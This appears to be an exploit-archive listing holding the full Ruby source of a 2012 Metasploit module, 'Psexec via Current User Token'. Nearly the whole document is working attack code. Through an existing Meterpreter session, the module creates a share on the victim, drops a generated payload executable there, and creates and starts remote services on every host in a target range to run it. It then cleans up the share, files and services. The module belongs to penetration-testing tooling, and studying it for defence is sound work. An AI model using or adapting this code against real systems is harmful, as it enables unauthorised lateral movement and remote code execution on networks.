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Psexec Via Current User Token

Psexec Via Current User Token
Posted Aug 3, 2012
Authored by Jabra, egypt | Site metasploit.com

This Metasploit module uploads an executable file to the victim system, creates a share containing that executable, creates a remote service on each target system using a UNC path to that file, and finally starts the service(s). The result is similar to psexec but with the added benefit of using the session's current authentication token instead of having to know a password or hash.

tags | exploit, remote
advisories | CVE-1999-0504, OSVDB-3106
MD5 | 0bbd2a9a13a6e081275470dda5d8d388

Psexec Via Current User Token

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/services'

class Metasploit3 < Msf::Exploit::Local
include Post::Windows::WindowsServices
include Exploit::EXE
include Post::File
include Post::Common

def initialize(info={})
super( update_info( info,
'Name' => 'Psexec via Current User Token',
'Description' => %q{
This module uploads an executable file to the victim system, creates
a share containing that executable, creates a remote service on each
target system using a UNC path to that file, and finally starts the
service(s).

The result is similar to psexec but with the added benefit of using
the session's current authentication token instead of having to know
a password or hash.
},
'License' => MSF_LICENSE,
'Author' => [
'egypt',
'jabra' # Brainstorming and help with original technique
],
'References' => [
# same as for windows/smb/psexec
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106'],
[ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ]
],
'Version' => '$Revision$',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Universal', {} ] ],
'DefaultTarget' => 0
))

register_options([
OptString.new("INTERNAL_ADDRESS", [
false,
"Session's internal address or hostname for the victims to grab the "+
"payload from (Default: detected)"
]),
OptString.new("NAME", [ false, "Service name on each target in RHOSTS (Default: random)" ]),
OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]),
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
])
end

def exploit
name = datastore["NAME"] || Rex::Text.rand_text_alphanumeric(10)
display_name = datastore["DISPNAME"] || Rex::Text.rand_text_alphanumeric(10)

# XXX Find the domain controller

#share_host = datastore["INTERNAL_ADDRESS"] || detect_address
share_host = datastore["INTERNAL_ADDRESS"] || session.session_host
print_status "Using #{share_host} as the internal address for victims to get the payload from"

# Build a random name for the share and directory
share_name = Rex::Text.rand_text_alphanumeric(8)
drive = session.fs.file.expand_path("%SYSTEMDRIVE%")
share_dir = "#{drive}\\#{share_name}"

# Create them
print_status("Creating share #{share_dir}")
session.fs.dir.mkdir(share_dir)
cmd_exec("net share #{share_name}=#{share_dir}")

# Generate an executable from the shellcode and drop it in the share
# directory
filename = "#{Rex::Text.rand_text_alphanumeric(8)}.exe"
payload_exe = generate_payload_exe_service(
:servicename => name,
# XXX Ghetto
:arch => payload.send(:pinst).arch.first
)

print_status("Dropping payload #{filename}")
write_file("#{share_dir}\\#{filename}", payload_exe)

service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}"

begin
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server|
begin
print_status("#{server.ljust(16)} Creating service #{name}")

# 3 is Manual startup. Should probably have constants for this junk
service_create(name, display_name, service_executable, 3, server)

# If everything went well, this will create a session. If not, it
# might be permissions issues or possibly we failed to create the
# service.
print_status("#{server.ljust(16)} Starting the service")
service_start(name, server)

print_status("#{server.ljust(16)} Deleting the service")
service_delete(name, server)
rescue
print_error("Exception running payload: #{$!.class} : #{$!}")
print_error("#{server.ljust(16)} WARNING: May have failed to clean up!")
print_error("#{server.ljust(16)} Try a command like: sc \\\\#{server}\\ delete #{name}")
next
end
end
ensure
print_status("Deleting share #{share_name}")
cmd_exec("net share #{share_name} /delete /y")
print_status("Deleting files #{share_dir}")
cmd_exec("cmd /c rmdir /q /s #{share_dir}")
end

end

end

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